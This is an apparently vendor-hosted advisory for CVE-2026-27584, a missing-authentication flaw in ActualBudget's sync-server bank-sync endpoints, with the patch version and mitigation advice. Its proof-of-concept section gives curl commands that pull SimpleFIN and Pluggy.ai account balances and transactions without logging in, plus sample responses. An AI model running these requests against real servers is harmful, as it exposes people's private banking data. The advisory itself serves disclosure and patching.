CVE-2026-27584 — @actual-app/sync-server
Fix: actualbudget/actual@ea937d1CVE-2026-27584 is a Missing Authentication vulnerability in @actual-app/sync-server. A fix is available for @actual-app/sync-server — see the affected versions and patch details below.
ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27584.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@actual-app/sync-servernpmDescription
Summary
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
Impact
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
Details
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):
/packages/sync-server/src/app-simplefin/app-simplefin.js/packages/sync-server/src/app-pluggyai/app-pluggyai.js
The sensitive endpoints missing authentication are:
POST /simplefin/statusPOST /simplefin/accountsPOST /simplefin/transactionsPOST /pluggyai/statusPOST /pluggyai/accountsPOST /pluggyai/transactions
The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication
PoC
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN:
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"
# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"
# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
PluggyAI:
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"
# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
Example response from POST /simplefin/accounts:
{
"status": "ok",
"data": {
"accounts": [
{
"id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"name": "CHEQUING ACCOUNT",
"currency": "CAD",
"balance": "1234.56",
"available-balance": "0.00",
"balance-date": 1771531758,
"transactions": [],
"holdings": [],
"org": {
"domain": "www.cibc.com",
"name": "CIBC",
"sfin-url": "https://beta-bridge.simplefin.org/simplefin",
"url": "https://www.cibconline.cibc.com",
"id": "www.cibconline.cibc.com"
}
},
...
]
}
}
Example response from POST /simplefin/transactions:
{
"status": "ok",
"data": {
"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
"balances": [
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "expected",
"referenceDate": "2026-02-19"
},
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "interimAvailable",
"referenceDate": "2026-02-19"
}
],
"startingBalance": 123456,
"transactions": {
"all": [
{
"booked": true,
"sortOrder": 1771502400,
"date": "2026-02-19",
"payeeName": "E-Transfer",
"notes": "SEND E-TFR ***ABC",
"transactionAmount": {
"amount": "-12.00",
"currency": "USD"
},
"transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"transactedDate": "2026-02-19",
"postedDate": "2026-02-19"
},
...
],
"pending": []
}
}
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @actual-app/sync-server | all versions | 26.2.1npm install @actual-app/sync-server@26.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @actual-app/sync-server to 26.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27584 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27584 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27584. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27584 in your dependencies?
O3 Security finds CVE-2026-27584 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.